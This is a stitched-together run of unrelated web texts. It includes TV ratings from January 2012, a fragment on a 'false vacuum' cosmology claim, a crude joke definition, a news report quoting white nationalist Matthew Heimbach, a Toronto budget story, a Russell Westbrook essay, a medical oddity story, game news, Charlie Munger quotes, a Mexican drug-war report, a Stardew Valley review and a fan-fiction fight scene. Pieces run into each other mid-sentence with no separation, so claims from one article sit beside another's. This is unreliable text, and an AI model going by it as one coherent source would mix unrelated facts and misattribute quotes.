Women 25-54: – 27%
Men 18-49: -29%
Men 18-34: -31%
Men 25-54: 30%
American Idol’s season premiere drew a 7.2 adults 18-49 rating, down 27% vs. a 9.8 rating for last season’s Wednesday premiere. Its 21.6 million average viewership was down vs. 26.25 million for last season’s Wednesday premiere. Half hour adults 18-49 ratings for Idol: 6.4, 7.5, 7.3, 7.8.
For all the “Idol’s best days are behind it” folks, this may interest you.
On ABC, The Middle matched its season low (ex. Thankgiving week) 2.6 adults 18-49 rating, down 10% vs. a 2.9 rating last week. Suburgatory also matched its season low 2.5 adults 18-49 rating, down 14% vs. a 2.9 last week. Modern Family also matched its season low (ex TGiving) 5.0 adults 18-49 rating, down 2% vs. a 5.1 rating last week. Happy Endings 2.9 adults 18-49 rating was down 3% vs. a 3.0 rating last week. Free of Idol, Revenge had a 2.5 adults 18-49 rating up 4% vs. a 2.4 rating last week.
In its second week on Wednesday, Whitney plunged 20% vs. last week to a series low 1.6 adults 18-49 rating.. Are You There, Chelsea? had a 1.8 adults 18-49 rating down 22% vs. a 2.3 rating last week. Harry’s Law matched its series low 1.1 adults 18-49 rating down 8% vs. a 1.2 rating last week. Law & Order: SVU hit a series low 1.8 adults 18-49 rating down 10% vs. a 2.0 rating last week.
A week after its premiere, CW’s One Tree Hill had a 0.7 adults 18-49 rating down 22% vs. a 0.9 rating last week. Interestingly, the Remodeled repeat had the same, woeful, 0.3 rating as the premiere.
Returning from holiday repeat break, Criminal Minds had a season low 3.2 adults 18-49 rating down 6% vs. a 3.4 rating for its last new episode in mid-December. Also back from a break, CSI had a 2.8 adults 18-49 rating down 3% vs. a 2.9 rating in mid-December.
Late-night results are below the primetime data.
Overnight ratings for Wednesday, January 18, 2012:
Time Net Show 18-49 Rating 18-49 Share Viewers Live+SD (million) 8:00PM FOX American Idol (premiere, 8-10p) 7.2 18 21.607 ABC The Middle 2.6 7 8.153 NBC Whitney 1.6 5 4.303 CBS NCIS -R 1.5 4 9.086 CW One Tree Hill 0.7 2 1.523 tvbythenumbers.com 8:30PM ABC Suburgatory 2.5 6 7.023 NBC Are You There, Chelsea? 1.8 4 4.272 tvbythenumbers.com 9:00PM ABC Modern Family 5.0 12 11.805 CBS Criminal Minds 3.2 8 12.825 NBC Harry’s Law 1.1 3 6.409 CW Remodeled -R 0.3 1 0.605 tvbythenumbers.com 9:30PM ABC Happy Endings 2.9 7 6.222 tvbythenumbers.com 10:00PM CBS CSI 2.8 7 11.808 ABC Revenge 2.5 6 7.582 NBC Law & Order: SVU 1.8 5 6.409
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via NBC press note:
In Late-Night Metered Markets Wednesday night: In Nielsen’s 56 metered markets, household results were: “The Tonight Show with Jay Leno,” 2.9/7; CBS’s “Late Show with David Letterman,” 2.7/7; and ABC’s combo of “Nightline,” 3.3/6; and “Jimmy Kimmel Live,” 1.6/5. In the 25 markets with Local People Meters, adult 18-49 results were: “The Tonight Show with Jay Leno,” 1.0/5; “Late Show,” 0.7/3; “Nightline,” 1.1/5; and “Jimmy Kimmel Live,” 0.7/4. At 12:35 a.m., “Late Night with Jimmy Fallon” (1.6/6 in metered-market households) beat CBS’s “Late Late Show with Craig Ferguson” (1.2/4). In the 25 markets with Local People Meters, “Late Night” (0.6/4 in 18-49) topped “Late Late Show” (0.4/3). At 1:35 a.m., “Last Call with Carson Daly” averaged a 1.0/4 in metered-market households with an encore and a 0.4/3 in adults 18-49 in the 25 markets with local people meters.
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NOTE: All ratings are “live plus same day” from Nielsen Media Research unless otherwise indicated.
Nielsen TV Ratings: ©2012 The Nielsen Company. All Rights Reserved.
You can see TV ratings from other recent Overnight ratings reports here.
Definitions:
Fast Affiliate Ratings: These first national ratings, including demographics, are available at approximately 11 AM (ET) the day after telecast, and are released to subscribing customers daily. These data, from the National People Meter sample, are strictly time-period information, based on the normal broadcast network feed, and include all programming on the affiliated stations, sometimes including network programming, sometimes not. The figures may include stations that did not air the entire network feed, as well as local news breaks or cutaways for local coverage or other programming. Fast Affiliate ratings are not as useful for live programs and are likely to differ significantly from the final results, because the data reflect normal broadcast feed patterns. For example, with a World Series game, Fast Affiliate Ratings would include whatever aired from 8-11PM on affiliates in the Pacific Time Zone, following the live football game, but not game coverage that begins at 5PM PT. The same would be true of Presidential debates as well as live award shows and breaking news reports.
Rating: Estimated percentage of the universe of TV households (or other specified group) tuned to a program in the average minute. Ratings are expressed as a percent.
Share (of Audience): The percent of households (or persons) using television who are tuned to a specific program, station or network in a specific area at a specific time. (See also, Rating, which represents tuning or viewing as a percent of the entire population being measured.)
Time Shifted Viewing – Program ratings for national sources are produced in three streams of data – Live, Live+Same Day (Live+SD) and Live+7 Day. Time shifted figures account for incremental viewing that takes place with DVRs. Live+Same Day (Live+SD) include viewing during the same broadcast day as the original telecast, with a cut-off of 3:00AM local time when meters transmit daily viewing to Nielsen for processing. Live+7 Day ratings include incremental viewing that takes place during the 7 days following a telecast.
For more information see Numbers 101.
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thinking, is a result of the Big Bang and is accelerating the universe's expansion. If so, the universe is not in a nice, stable zero-vacuum state but simply another "false vacuum" state that may abruptly decay again - and with cataclysmic consequences. The energy shift from the decay would destroy everything in the universe, "wiping the slate clean," says Lawrence Krauss of Case Western Reserve University in Cleveland, Ohio. The good news is: the longer the universe survives, the better the chance that it will mature into a stable state. We are just beyond the crucial switching point, Mr. Krauss believed. The bad news is: the quantum effect, a truly weird aspect of physics that says whenever we observe or measure something, we reset its clock. Mr. Krauss and colleague James Dent pointed to measurements of light from supernovae in 1998 that provided the first evidence of dark energy. These measurements might have reset the decay clock of the "false vacuum" back to zero, back before the switching point and to a time when the risk of catastrophic decay was greater than now, said Mr. Dent and Mr. Krauss. "Incredible as it seems, our detection of the dark energy may have reduced the life expectancy of the universe," said Mr. Krauss. "We may have snatched away the possibility of long-term survival for our universe and made it more likely it will decay." The report says the claim is contested by other astrophysicists and adds reassuringly: "The fact that we are still here means this can't have happened yet."Amazon Rank
amazon rank
Function: verb
Inflected Form(s): amazon ranked
1. To censor and exclude on the basis of adult content in literature (except for Playboy, Penthouse, dogfighting and graphic novels depicting incest orgies).
2. To make changes based on inconsistent applications of standards, logic and common sense.
Etymology: from 12 April 2009 removal of sales rank figures from books on Amazon.com containing sexual, erotic, romantic, gay, lesbian, bisexual, transgendered or queer content, rendering them impossible to find through basic search functions at the top of Amazon.com's website. Titles stripped of their sales rankings include "Bastard Out of Carolina," "Lady Chatterley's Lover," prominent romance novels, GLBTQ fiction novels, YA books, and narratives about gay people.
Example of usage: "I tried to do a report on Lady Chatterley's Lover for English Lit, but my teacher amazon ranked me and I got an F on grounds that it was obscene."
Alternate usage: "My girlfriend wanted to preserve her virginity, and I was happy to respect that, then she amazon ranked and decided anal sex was okay."At an intimate meeting with a controversial group in St. Louis, Missouri, Matthew Heimbach, a charismatic, young wannabe politician laid out his plan to revolutionize the political discourse in this country by cashing in on the far-right-wing rhetoric of Donald Trump.
“We have the potential to reach truly millions of people with our message of European culture of faith, family, and folk—and solidarity—that the Republicans could never reach,” Heimbach told the dozen-or-so in attendance. “We have the potential to be able to work with so many of these millions of families to be able to then move them in our direction. Donald Trump is a gateway drug…we can then move them from civic nationalism and populism to nationalism for us—and these people are ready for our message.”
Heimbach, 25, made a name for himself while a student at Towson University, where he founded the White Student Union, a white nationalist organization that he bills as a civil rights group for white people. He’s since taken a turn towards white supremacy, according to civil rights experts who have tracked him since his days at Towson. He’s been described as the “face of a new generation of white nationalists.” The group to which he was speaking was the Council of Conservative Citizens, a white nationalist organization made infamous by Dylann Roof, who cited the group’s hateful ideology in an ill-informed manifesto before walking into a traditionally black church in Charleston, South Carolina, last summer and allegedly murdering nine people.
Heimbach says he and Trump—the Republican front-runner for president—are not of the same ilk.
“He is not one of us,” Heimbach said in an interview with Vocativ. But that’s not going to stop Heimbach from exploiting Trump’s exclusionary vision for America to recruit members to his up-and-coming political party, the Traditionalist Worker Party. He hopes to move more towards the mainstream with Trump’s help; Heimbach credits Trump’s unorthodox campaign with creating the political climate that’s enabling his movement to thrive.
“He’s not a white nationalist,” Heimbach said. “There are some people within our cause [who] are over-eager about him, saying that he’s a white nationalist. He’s not one of us and everyone needs to know that. But he’s opening political space. He’s definitely opening up political space for people like ourselves to talk about things like immigration and national identity.”
Trump’s campaign has torn down walls of political correctness, Heimbach said, and brought views like his into the mainstream—closeted bigots now feel safe to reveal themselves behind an unapologetic candidate’s fantasy-land rhetoric about building walls and banning Muslim refugees. Heimbach is not supporting Trump, or anyone else, in this year’s presidential election. Rather, he’s pouncing on those Trump brought out of the woodwork.
“What a lot of white supremacists feel is their agenda is part of Trump’s platform,” said Marilyn Mayo, a research fellow at the Anti-Defamation League’s Center on Extremism. “He’s mainstreaming some of their ideas. There are a lot of disaffected whites who are supporting Trump and those are the people Matthew Heimbach wants to reach. If they can reach those people, they have a ticket to bringing about change. Trump’s making that happen.”
The ADL started tracking Heimbach after he formed the White Student Union at Towson. Mayo said she’s watched as he’s become more and more radicalized. The bigger problem, she said, is how smart he is—he’s not wearing swastika armbands and screaming “white power” like other white supremacists. Heimbach comes across as a calculating, intelligent guy with a real plan to elevate his party’s agenda.
“What’s different about Matthew Heimbach is this: you have the tattooed racists who wear their hate on their sleeves. Then you have the intellectual, business-suit racists like Jared Taylor (a Yale-educated white nationalist) who wouldn’t be caught dead with a white power tattoo. Heimbach is somewhere in between. He’s the youthful leader…he’s the bridge between hardcore racists and the intellectuals,” she said.
Uploaded By: MrReb2U
Heimbach’s Traditionalist Worker Party is not participating in the 2016 elections—he’s using this election cycle to organize and draw in any of the disaffected white people who have come out of the shadows to support Trump, but also recognize that he is not as supportive of their agendas as he may want them to believe.
“The idea is local solutions to the globalist problem,” Heimbach said. “Trump is showing that normal people are very strong…we can take that to the local level—the city council, school boards, maybe state legislatures. It’s definitely going to be a major step forward. We’re probably not going to win the presidency tomorrow, but we’re gonna have a voice. We’re going to empower middle-class white people to realize that they can raise their voice.”
Heimbach says he doesn’t consider himself to be a racist, but rather an advocate for the white race the same way other activist groups, like Black Lives Matter, are advocates for theirs. He says every racial or religious community has the right—even the duty—to advocate for their people rather than participating in the melting-pot theory on which the U.S. is based. “We’ve always been outwardly very supportive of other racial groups,” he said, adding that he and other members of his group went to Charleston after the shooting at the church to stand in solidarity with the black community. He maintains that his group is non-violent.
The ADL and other civil rights organizations disagree.
“Guys like him say this stuff. They say they don’t feel that way,” the ADL’s May said of Heimbach’s claim that he’s not a racist. “But if you read their stuff, and listen to the things that they say, it’s clear that they do.” Indeed, swastikas and pictures of Adolph Hitler are proudly displayed on the website of the Traditionalist Youth Network, a group Heimbach helped start and that is linked to his Traditionalist Worker Party.
Heimbach’s reach has only grown since Trump entered the race in June of last year, as evidenced by his social media presence. When Trump announced his candidacy, Heimbach was mentioned on Twitter 54 times a month. In March of 2016, Heimbach got nearly 9,000 mentions.
While Heimbach told Vocativ his group is non-violent, his speech to the CofCC in St. Louis suggests otherwise—”We are at war,” he told the group. “Whether we want to admit it or not, we’re at war.”
“Racial conflict is coming to the United States,” he continued. “And not in some bizarre survivalist fantasy novel from the 1980s. But it is coming. If you saw what happened in Chicago and did not understand this as a racial conflict you would have to be blind. Black Lives Matter and their associated groups shut down a Donald Trump rally.”
“Mr. Trump has disavowed all such groups,” his spokeswoman Hope Hicks wrote in an email when Vocativ asked the Trump campaign for comment on whether their candidate’s rhetoric has fanned the flames of racial tensions and inspired people to join groups like Heimbach’s.
Trump may disavow groups like Heimbach’s, but he is still inspiring them.
“When Trump tweets stats from a neo-Nazi they feel validated,” said the ADL’s Mayo. “They feel like their ideas are being validated. There’s the sense that people are afraid to say certain things because they’ll be called a racist. But there’s this general sense that you can say things now that people weren’t able to say before. And these groups like Heimbach’s are gleeful. Trump made that happen.”Several hundred people packed a Finch Ave. banquet hall to accuse Mayor John Tory of pushing a tax-heavy proposed 2017 budget. The Monday night “budget consultation” on Finch Ave. W. was organized by Councillor Giorgio Mammoliti.
Former Toronto city councillor Doug Ford, right, with Councillor Giorgio Mammoliti, talks to reporters before a budget session that packed a Finch Ave. W. banquet hall on Feb. 13, 2017. ( David Rider / Toronto Star )
He told the crowd his often-outrageous antics are mostly to draw attention to city spending run amok. Read more:Toronto political dynasties: The people’s choice or the family business? “I’ll continue to take the blows (from other councillors) and yes, I am somewhat of a lone wolf at city hall because Doug (Ford) isn’t there,” he told the crowd.
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Ford, the ex-councillor who lost to Tory in 2014 and says he might be up for a rematch in next year’s mayoral election, told the crowd: “The gravy train is in full swing down at city hall again.” He repeated a discredited claim that his late brother Rob’s mayoral administration saved Toronto taxpayers “more than a billion dollars.” He also listed increased fees and taxes and accused Tory of being dishonest for flip-flopping on tolls. He said Tory claimed in the 2014 election to be “Rob Ford without the antics.” “I can assure you, John Tory, you are no Rob Ford,” Ford said to a roar from the crowd.
Toni Raimondo, an event planner, said in an interview she attended because taxes and fees keep going up under Tory. “I have a very sick child, with cancer, and all my money goes to medicine — the increases are more than inflation, it adds up,” she said.
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Asked what she would cut in the budget, Raimondo said people need to pay for the services they use. “If you go to a community centre you should pay and if you can’t afford it, you don’t go.” Earlier Monday Tory took aim at the event and “those who aspire to be mayor or whatever their reason is for wanting to have their name in the paper. “They should be asked about the bus routes that were cut, the reductions that were brought about in the TTC budget in those days not very long ago,” Tory told reporters. “And we’re determined all of us to make sure that is not the way we’re going, that is not how you’re going to connect people to opportunity in this city.” City council begins debating the budget Wednesday. With files from Ben Spurr
Read more about:Russell Westbrook may be the most important person remaining in the NBA playoffs. Above, Westbrook in Game 3 of the Western Conference Finals at Chesapeake Energy Arena in Oklahoma City, Oklahoma, May 22, 2016. Ronald Martinez/Getty Images
In the third quarter of Sunday night’s Game 3 of the Western Conference Finals, with his Oklahoma City Thunder beating the Golden State Warriors by a shocking 34 points, Russell Westbrook zipped a bounce pass between his legs on a fast break.
The play was stunning in the moment and even more so on replay: the sheer, flamboyant beauty of it, the look on Westbrook’s own face, as though even he can’t believe what he’s seeing. In a game the Thunder won 133–105, and one in which at many points they seemed to out-Warriors the Warriors, that play felt perfectly microcosmic, of both the game itself and the man who made it. Never mind that Westbrook’s teammate Randy Foye failed to convert the basket. (He was fouled.) Dwelling on such a detail feels almost vulgar, as it so often does in the Russell Westbrook experience.
Westbrook may be the most important person remaining in the NBA playoffs: more important than his teammate, Kevin Durant; more important than Stephen Curry; more important than walking deity LeBron James; more important, even, than Drake. If Westbrook plays as well as he’s capable of playing, the Thunder might very well win the NBA title. If Westbrook plays as erratically as he’s capable of playing, the Thunder will assuredly come up short, and sooner rather than later—there is no team in NBA history more likely to come back from a 2–1 series deficit than the 2015–16 Warriors.
Russell Westbrook is the most volatile truly great player the NBA has ever seen, a man who can swing wildly between being the most dominant and most detrimental figure in any game he’s playing in. James aside, Westbrook is the most physically talented player in the NBA, a guard with the vertical explosiveness of Jordan and Kobe and the speed and quickness of Iverson or Chris Paul, while physically stronger than any of them. Basketball writer and esteemed Westbrookologist Bethlehem Shoals once likened his play to “shooting craps in an abandoned missile silo,” a perfect image of thrilling unpredictability and looming violence. My favorite genre of Westbrook highlight is the breathtaking coast-to-coast rampage, such as this one from a game against Philadelphia last year, in which he takes the inbounds pass and simply outruns three Sixers before dunking on the remaining two.
Westbrook is capable of embarrassing an entire team on a single possession. Unfortunately, sometimes that team is his own. Westbrook can make basketball look incredibly easy, but he can also make the game needlessly difficult, for himself and his teammates. He is a gifted and at times dominant defender who’s also an inveterate gambler, blowing up his own team’s defensive schemes by jumping recklessly into passing lanes. On offense he is egregiously turnover-prone and shoots far more three-pointers than he should, if he should be shooting any at all: Among players with more than 1,500 attempts, Westbrook has the third-worst three-point percentage of all time. A clichéd and usually silly criticism of star basketball players is that they “disappear,” an accusation that’s been lobbed in some variation at nearly every great player at some point in his career (including Kevin Durant). Russell Westbrook barely ever disappears; if only he were better at occasionally disappearing.
There is a wonderful basketball colloquialism for the approach to the game that is Westbrook’s undoing: “hero ball.” Hero ball is, essentially, a style of play in which one player takes it upon himself to be the lead actor, at every turn. Imagine the kid playing alone in his driveway shooting endless imaginary buzzer-beaters as he screams out “3 … 2 … 1,” then place that kid in a context where he actually has teammates, and you start to get the idea. We want our basketball players to be heroes, but the last thing we want is for them to play hero ball.
The 2014–15 Thunder season practically demanded hero ball. With Durant missing a total of 55 games, including the final 28, Westbrook transformed into a one-man fantasy team. There was a 49-point, 15-rebound, 10-assist triple-double in early March, followed by a 43-8-7 line the very next night; a few weeks later he added a 36-10-15, then a 40-11-13 shortly after that. In the third-to-last game of the season, Westbrook scored a career-high 54 points in a loss to the Indiana Pacers. When the season ended, the Thunder were left out of the playoffs after losing a tiebreaker to New Orleans; Russell Westbrook led the NBA in field goal attempts despite having missed 15 games (nearly 20 percent of the season) due to injury and shot the third-worst percentage of his career.
This year, Westbrook had perhaps the best all-around season of his career. He averaged 23.5 points, 10.4 assists, and 7.8 rebounds while racking up a 27.64 player efficiency rating and finished fourth in the league’s MVP voting. He posted 18 triple-doubles, the most in 34 years. With Durant back on the floor Westbrook embraced his co-pilot role with renewed intensity if not always flawless execution. OKC’s current postseason success is coming mostly because of Westbrook but still sometimes in spite of him. In the playoffs, he’s averaging 25.3 points, 11.1 assists, and 6.4 rebounds, but he is also turning the ball over more than four times a night, shooting 41 percent from the field (including 32 percent from three), and still taking 5.6 three-pointers per game.
Off the court Westbrook can come off as prickly and aloof, as well as a bit of a bully. But he’s also incredibly smart and one of the rare athletes who seems genuinely funny, at least when he wants to be. He is a notoriously outré dresser, and the overall impression is of someone who is considerably more eclectic and interesting than the average NBA superstar. One gets the sense that Westbrook plays the way he does not out of a sense of insane competitiveness, à la first-ballot hero ball Hall of Famer Kobe Bryant, but rather because if he didn’t, playing basketball for a living might just start to bore him.
It’s a typically Westbrookian conundrum that the greatest damage to his image was done by the greatest blessing to his basketball career: the fact that he’s spent his time in the NBA playing alongside Kevin Durant. Durant is probably one of the few players in the league who’s better than Westbrook (although that’s debatable), but more than that, Durant is everything Westbrook isn’t. He’s tall and long, all grace and finesse, a cool stoic who glides across the court eviscerating defenses like a samurai. He’s one of the most beautiful shooters the sport has ever seen, a player whose lightning-quick release and not-quite-Curry-but-close range make him a perfect fit for this spacing-happy era of the NBA. He’s also a player whose modest demeanor and amiable quietude have made him a perennial favorite of the basketball media. Durant’s plastic affability makes Westbrook look molten and surly by comparison, and these are precisely the things a point guard is not supposed to be.
The health of Durant and Westbrook’s relationship has been the subject of near-constant speculation over the years, although they insist they get along great, and I’m inclined to believe them. They are an odd couple, though, and there has always been an unavoidable urge to speculate on what their lives would be like without each other. The future of the Durant-Westbrook union has been looming over the Thunder for years, and never more ominously than right now. While ESPN’s Marc Stein reported during the previous round that the Thunder organization felt confident that a conference finals appearance would be enough to convince Durant to re-sign for at least another year or two, the impending free agent has made no such declarations. It’s still possible that if the Thunder collapse and lose this series, it could trigger a domino effect in which Durant leaves town and suddenly Westbrook, who’s a free agent in 2017, could be on the move as well.
It’s hard to imagine him anywhere else. It’s also hard to imagine him doing anything so obvious as staying put. We’re still playing craps in the silo, and Russell Westbrook is holding the fate of the franchise in his hands, like a pair of dice.Joe Nagy endured 18 months of unhappy streaming before finally being diagnosed (Picture: Fox)
A runny nose that did not stop streaming for 18 months has turned out to be caused by the victim’s brain leaking fluid.
Joe Nagy thought the non-stop drip that kept embarrassing him could be blamed on allergies.
But after a year and a half of suffering, he was stunned to discover a tear in a membrane of his brain meant fluid was leaking all the way from his brain through his nose.
The problem has finally been fixed by surgery – but even this was delayed because the unfortunate Mr Nagy also found himself diagnosed with meningitis.
The final straw for the patient from Phoenix, Arizona, came when a ‘teaspoon-sized’ dollop of fluid leaked from his nose in a business meeting and soaked a stash of important documents.
His nose had initially begun running ‘once or twice a week’, but quickly became a more regular problem.
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Mr Nagy told US network Fox10: ‘I got to the point where I had tissues all the time.’
It was only after incessant visits to his doctor that the real problem was discovered: a small hole in the membrane surrounding his brain.
He admitted: ‘I was scared to death, if you want to know the truth.’
Once he had fought off the worst of his meningitis, the leak was repaired by neurosurgeon Peter Nakaji at Barrow Neurological Institute in Phoenix, Arizona.
He used some cartilage from Mr Nagy’s nose to plug the gap and prevent any more of the clear liquid streaming out.
Dr Nakaji said: ‘This is one of the more common conditions to be missed for a long time, because so many people have runny noses.’
Mr Nagy said: ‘I was waiting for the dribble. This leaking, because I was so used to it every day. I got my hankie. Nothing. It’s never come back.’Highlights are fun to look at after a night of playing Overwatch, but they vanish as soon as you close the game.
Overwatch: Blizzard working on a way to allow players to save and export highlights
Overwatch automatically saves short clips, called highlights, at the end of each game. You can only have up to five of these, and you can’t share them outside the game unless you use third-party software.
This isn’t too much of an issue on consoles, thanks to their built-in streaming and sharing tech – or really for a lot of PC players who rely on tools like Nvidia’s ShadowPlay or the Xbox App’s recording function on Windows 10. It is, however, less convenient than it could be.
Ideally, you’d be able to save these clips for later. Better yet, you should be able to share or export them them right from the game. They’re mostly a few seconds long and will work well on Facebook or Twitter. Blizzard agrees, and it’s working on making this happen.
“Our hope (and what we’re working toward) is to allow players to save highlights or export them to a video format someday,” game director Jeff Kaplan said on Overwatch’s official forums.
Though far from a firm plan, we at least know this is something in the works. Until then, you can rely on the various capture programmes available to export them.We all have something to learn from Charlie Munger’s wisdom
Richard Reis Blocked Unblock Follow Following Jan 26, 2015
About two weeks ago I re-watched one of my favorite commencement speeches of all time, Charlie Munger’s USC Law commencement speech on May 2007.
You can watch it here:
I looked for a full transcript and couldn’t find one so I spent hours that day writing this speech and now you can conveniently find it here: http://genius.com/Charlie-munger-usc-law-commencement-speech-annotated
TL:DR? That’s ok. But I do believe it is worth re-emphasizing his lessons as I feel many people could benefit from these. So here are some of my favorite quotes:
1.“The safest way to try and get what you want, is to try and deserve what you want”
2. “There is no love that’s so right as admiration based love”
3. “Wisdom acquisition is a moral duty”
(Munger talks about his admiration for Confucius. He says you will not get very far in life based on what you already know. He adds that Berkshire Hathaway would have never gotten from one decade to another based on the same skills that made them successful in the past and they constantly had to evolve. In his own words “without Warren Buffet being a learning machine, a continuous learning machine, the record would have been absolutely impossible”. He also says “if you take Warren Buffett and watched him with a time clock, I would say half of all the time he spends is sitting on his ass and reading. And a big chunk of the rest of the time is spent talking one on one either on the telephone or personally with highly gifted people whom he trusts and who trust him.” So keep oooon reading!)
4.“Learn all the big ideas and all the big disciplines”
5.“Problems frequently get easier and I would even say usually are easier to solve if you turn around in reverse”
6. “Avoid extremely intense ideology because it cabbages up one’s mind”
7. “Don’t think you’re entitled to do whatever you want to do.”
8. “You do not want to drift into self-pity”
9. “You want to appeal to interest, you want to do it of lofty motives, but you should not avoid appealing to interest”
10. “You don’t want to be in a perverse incentive system that’s causing you to behave more and more foolishly or worse and worse”
11. “Perverse associations, also to be avoided”
12. “Objectivity maintenance routines are totally required in life if you’re going to be a correct thinker”
13. “Non-egality would work better in the parts of the world I wanted to inhabit”
14. “An intense interest in the subject is indispensable if you are really going to excel”
15.“Have a lot of assiduity. I like that word because it means sit down on your ass until you do it”
16. “Every mischance in life is an opportunity to behave well, every mischance in life is an opportunity to learn something and your duty is not to be submerged into self-pity but to utilize the terrible blow in a constructive fashion”
17. “Go all for prudence as well as opportunism”
18. “In your own life what you want is a seamless web of deserved trust”
Finally, he ends his speech with words from the Old Valiant-for-Truth in the Pilgrim’s Progress;
“My sword I leave to him who can wear it.”
Thank you Mr Munger.Federal officials remain vulnerable in the state of Michoacan Ten Mexican police officers have been detained in connection with the torture and murder of 12 federal agents during a major escalation in the drug war. The arrests come as more than 5,000 troops and federal police are deployed in the western state of Michoacan. The troop surge, one of the biggest in the anti-drugs campaign, comes after a local drug gang launched co-ordinated attacks in 10 cities last week. The state governor has protested against the "military occupation". The federal authorities say they are investigating links between the municipal police and drug traffickers in the murder of the agents, whose bodies were found bound and gagged and shot through the head next to a major highway. In a statement, prosecutors said the detentions would enable them to strengthen evidence that the officers "undertook criminal acts" in support of the Michoacan drugs gang and to "determine their responsibility for the murder of federal agents". Earlier this year 10 mayors in the state were arrested by the federal authorities on suspicion they were working with the drug gangs. Cocaine transit Troops with automatic weapons and ski masks to shield their identity have set up roadblocks across Michoacan, President Felipe Calderon's home state, in a major show of force. Nineteen police were arrested in one small town, 10 of whom are still being held in custody while alleged links with drug gangs are investigated. The federal government believes that local police and officials have long been in the pay of the drug gangs. The Michoacan gang, known as the "Family", announced itself as a terrifying new force three years ago when its hitmen tossed the severed heads of five victims onto a dancefloor in a city nightclub. Despite the roadblocks, analysts say federal agents remain highly vulnerable in a region where drug gangs can easily get intelligence about their movements.
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StumbleUpon What are these? E-mail this to a friend Printable versionStardew Valley is an amazing game, and the Switch port has perfected the few small issues I had with it. Goodbye social life.
Stardew Valley comes out on the Switch tomorrow, and playing it that way is is a no-brainer. The Harvest Moon and Rune Factory games, from which Stardew Valley is inspired, have long made their home on handheld consoles. The idea of taking the charm of a rural community with you on the subway, bus or other stressful mode of public transit is very appealing. What makes the game so great on the Switch is a bit more than its portability, however.
Stardew Valley has always had a few minor UI problems. On PC, everything is pretty much right except that the fishing minigame is nearly impossible with a mouse and keyboard. Using a controller, the fishing minigame is great, fun even, but you have to swing around an unwieldy cursor to do most other things. The cursor isn’t entirely gone from the Switch version, but you’ll never have to see it if you don’t want to. The game works entirely just using the JoyCon’s buttons, and it feels smooth and natural. You pick up items with A, scroll through your tools with the trigger buttons and use tools with Y. After a minute or two of getting used to the new scheme, I felt right at home.
In the Switch port, the controls are finally as intuitive as they should be, making Stardew Valley feel more at home here than on PC or other consoles. No longer do I dread doing the one really tedious task where I have to fight with the UI just to fill out the community center. Stardew Valley has always been hard to stop playing, but now that everything has been fine-tuned, this game has become very dangerous for me. In this middle of writing this very post, I absentmindedly picked up my Switch and played for another half hour, not even realizing that time was a-wasting. (Editor’s note: I did.)
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I’m excited to visit Pelican Town in the park and on a plane, but more than that, Stardew Valley’s Switch port has perfected the few remaining problems with the game. It also looks great docked and on a TV. Now my only problem is who I’m going to marry this go-around. Abigail? Maru? Honestly I have no idea.A/N: Sorry for the long wait, but I was graduating college! I'll have a lot more free time now, so expect some quick updates!
Their blades clashed yet again, the sound ringing through the night. For several minutes now, the two warriors had been moving at equal speed, and Anna's superior strength had not been enough to overcome the skills of the more experienced swordsman. He fought just as fiercely as she, clearly eager to claim the honor of eliminating the last threat to his goddess's eternal reign.
Anna blocked another blow to her neck, then lashed out with a kick to her opponent's chest. The mage darted to the side...only this time his movement wasn't fast enough to save him entirely. The edge of Anna's boot connected with his side, and the glancing blow proved sufficient to knock the man into the snow.
Quick as a snake, he was on his feet again. The fanatic glint in his eye had not faded in the slightest. But as their swords met once again, Anna could see beads of sweat beginning to appear on his cheeks. Judging by the heaving of his chest, he was breathing heavily, while Anna herself was only slightly winded. His movements were slower now, and the Knight wasted no time in bringing her advantage to bear. She rained blow after blow on his defenses, her sword coming closer and closer to striking flesh.
His power doesn't grant him enhanced energy. Mine comes from a...Anna's thoughts were interrupted by the geyser of blood that erupted before her as the icy blade finally pierced his chest. By the time she extracted the sword from her enemy, the last of his life had already left him.
"Anna!"
The Knight whipped around. Pabbie's mist had begun to fade, and the air had grown clear enough for her to witness the furious fight that was occurring ten feet away. Eugene was frantically darting around the battlefield, dodging projectiles of hard earth that were clearly being commanded by yet another mage. The Prince's opponent wore a smirk of utmost confidence on his face, and before Anna could intervene, one of his attacks made contact with Eugene's sword. As the blade went flying out of sight, a second projectile slammed into his chest. The Prince crumbled to the ground with a gasp of pain, clearly in no shape to jump back into the fight. A pained groan escaped from his lips.
At least he's alive, Anna thought. She breathed a silent sigh of relief.
Blood pounding in her ears, Anna rushed forward. The earth mage turned to face her; if anything, the grin on his face only grew wider. The Knight's sword struck air as a platform of earth erupted underneath the grass, vaulting her opponent back several yards. He landed gracefully, the impact not even buckling his knees.
"What a brave hero," the mage commented, sarcasm dripping from his words. "You're really determined to'save the world', aren't you? Unfortunately, I can't let that happen, so..."
Anna darted to the side as the earth beneath her feet exploded. A hailstorm of rocks landed around her, but the Knight's reflexes proved fast enough to avoid them. "Save the world?" Anna couldn't help but question as the mage retracted his hands. "I thought it was the Faithful and their Goddess that were doing that, restoring the natural order and putting the Ungifted back in their place."
Genuine laughter arose from the mage. "Seriously?" he asked. "Not everyone born into a cult is stupid enough to take their lessons to heart. I'm surrounded by fanatics, but that doesn't mean I am one. Whether or not you're 'Ungifted' doesn't matter to me." He actually seemed somewhat affronted.
Anna couldn't believe her ears. "Then why help them?" she demanded.
A cluster of rocks raced forward from his position, and again Anna dodged. "I'm no coward, but even I know there's some fights you just can't win." He darted backward, avoiding another strike of Anna's sword with a smile.
"Like it or not, the Goddess is going to return. Every word of that prophecy has come true; you really think the last line won't? And it's not such a bad world she's going to make...for me. It may be selfish, but that's the way life works, my little hero. It's a pity you won't have time to learn that lesson. "
Her enemy raised his hands, and instantly a massive torrent of earthen projectiles was racing towards her. But Anna was faster than Eugene, and her speed and reflexes allowed her to dodge each attack with relative ease. She gradually weaved through the hail-fire of earth, sword raised as she stepped closer to her opponent, and the smirk that adorned the mage's face began to disappear.
Anna was less than ten feet away from her target when it happened. A familiar sensation swept through the Knight's body as her limbs suddenly became ten times as heavy. A glance to the side confirmed her suspicions: the mage from the Tower had made a reappearance.
The reduced speed cost her heavily; two wads of hardened earth struck Anna in the shoulder and the leg. The impacts would likely have broken bones in a normal human, but for Anna they merely left the promise of two dark bruises. Summoning all of her strength, the Knight leapt to the side, momentarily avoiding the ongoing torrent of earth. Lacking any knives, she angled her sword towards the gravity mage.
She was a second away from throwing the blade when the thought struck her. Here she was, a woman who had once abhorred killing and suffered from terrible nightmares every time she took a life, about to murder yet another man without hesitation. Somewhere along the way, Anna had lost track of the number of lives she'd ended. Already, she had struck a mage down today, and not even the slightest hint of regret had made itself known.
